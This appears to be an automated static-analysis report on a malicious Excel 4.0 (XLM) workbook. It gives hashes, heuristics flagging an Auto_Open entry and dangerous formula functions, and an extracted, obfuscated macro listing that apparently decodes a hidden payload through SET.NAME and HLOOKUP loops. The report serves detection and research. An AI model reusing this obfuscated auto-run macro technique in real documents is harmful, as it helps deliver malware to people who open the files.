Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 799b013191a17f29…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:18 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: dd6b12f306c97007328e64c826f5cb1f SHA-1: b2149d82ad50c20ba5a0e4e4f97743cf680753fc SHA-256: 799b013191a17f296e340a98d4e0ad745509d2d0513232ddb100ac044f4bc868
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6774 bytes
SHA-256: 8534cf323ca22dfed3e05cdc6e701be05fa621850c1f2480c7f1ccdcb5c8e279
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UffNHv
' 0018     23 LABEL : Cell Value, String Constant - aTextjxa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A139 
' 0018     25 LABEL : Cell Value, String Constant - BFZRegZKbc len=0 
' 0018     25 LABEL : Cell Value, String Constant - CkyyzigadB len=0 
' 0018     20 LABEL : Cell Value, String Constant - dqEEy len=0 
' 0018     22 LABEL : Cell Value, String Constant - dqwVjqo len=0 
' 0018     24 LABEL : Cell Value, String Constant - EYdoqWKLA len=0 
' 0018     27 LABEL : Cell Value, String Constant - fNMrJrRRdwUC len=0 
' 0018     24 LABEL : Cell Value, String Constant - RCOxzCbwG len=0 
' 0018     26 LABEL : Cell Value, String Constant - SPLrByxvhow len=0 
' 0018     22 LABEL : Cell Value, String Constant - tiJVvIt len=0 
' 0018     20 LABEL : Cell Value, String Constant - tPbyM len=0 
' 0018     22 LABEL : Cell Value, String Constant - vvinHbe len=0 
' 0018     24 LABEL : Cell Value, String Constant - wJKVVVXyT len=0 
' 0018     22 LABEL : Cell Value, String Constant - wRiHJMB len=0 
' 0018     21 LABEL : Cell Value, String Constant - wugipQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - XUPXQerCQe len=0 
' 0018     27 LABEL : Cell Value, String Constant - YhvgjouXiHwO len=0 
' 0018     26 LABEL : Cell Value, String Constant - YpuxFqgwCCk len=0 
' 0018     26 LABEL : Cell Value, String Constant - YufRTiXWApY len=0 
' 0018     20 LABEL : Cell Value, String Constant - YWaLZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UffNHv,A51,"SET.NAME("YpuxFqgwCCk",0+VALUE("0"))",""
'  UffNHv,A54,"SET.NAME("YWaLZ",YpuxFqgwCCk)",""
'  UffNHv,A58,"SET.NAME("wugipQ",YpuxFqgwCCk)",""
'  UffNHv,A61,"SET.NAME("YufRTiXWApY",COUNTA(EYdoqWKLA))",""
'  UffNHv,A63,"SET.NAME("BFZRegZKbc",COUNTA(tPbyM))",""
'  UffNHv,A66,[],""
'  UffNHv,A68,"SET.NAME("SPLrByxvhow","")",""
'  UffNHv,A72,"YWaLZ",""
'  UffNHv,A74,"SET.NAME("YhvgjouXiHwO",HLOOKUP("*",EYdoqWKLA,YWaLZ,FALSE))",""
'  UffNHv,A77,"fNMrJrRRdwUC",""
'  UffNHv,A80,"SET.NAME("vvinHbe",YpuxFqgwCCk)",""
'  UffNHv,A82,[],""
'  UffNHv,A86,"vvinHbe",""
'  UffNHv,Q89,"",330.00000000000000000000
'  UffNHv,A90,"wJKVVVXyT",""
'  UffNHv,Q90,"",-300.00000000000000000000
'  UffNHv,Q91,"",812.00000000000000000000
'  UffNHv,Q92,"",-558.00000000000000000000
'  UffNHv,A93,"CkyyzigadB",""
'  UffNHv,Q93,"",-333.00000000000000000000
'  UffNHv,Q94,"",462.00000000000000000000
'  UffNHv,A95,"XUPXQerCQe",""
'  UffNHv,A97,"SET.NAME("wRiHJMB",VALUE(HLOOKUP("*",tPbyM,XUPXQerCQe,FALSE)))",""
'  UffNHv,A101,"dqEEy",""
'  UffNHv,A104,"SPLrByxvhow",""
'  UffNHv,A109,"wugipQ",""
'  UffNHv,A113,NEXT(),""
'  UffNHv,A118,"aTextjxa",""
'  UffNHv,A122,[],""
'  UffNHv,A125,"RCOxzCbwG",""
'  UffNHv,A130,NEXT(),""
'  UffNHv,A135,RETURN(),""
'  UffNHv,A163,"SET.NAME("tiJVvIt",A51)",""
'  UffNHv,A168,"EYdoqWKLA",""
'  UffNHv,A171,"SET.NAME("tPbyM",R75C12)",""
'  UffNHv,A173,"SET.NAME("RCOxzCbwG",183)",""
'  UffNHv,A178,"SET.NAME("dqwVjqo",1)",""
'  UffNHv,A182,tiJVvIt(),""
'  UffNHv,A183,HALT(),""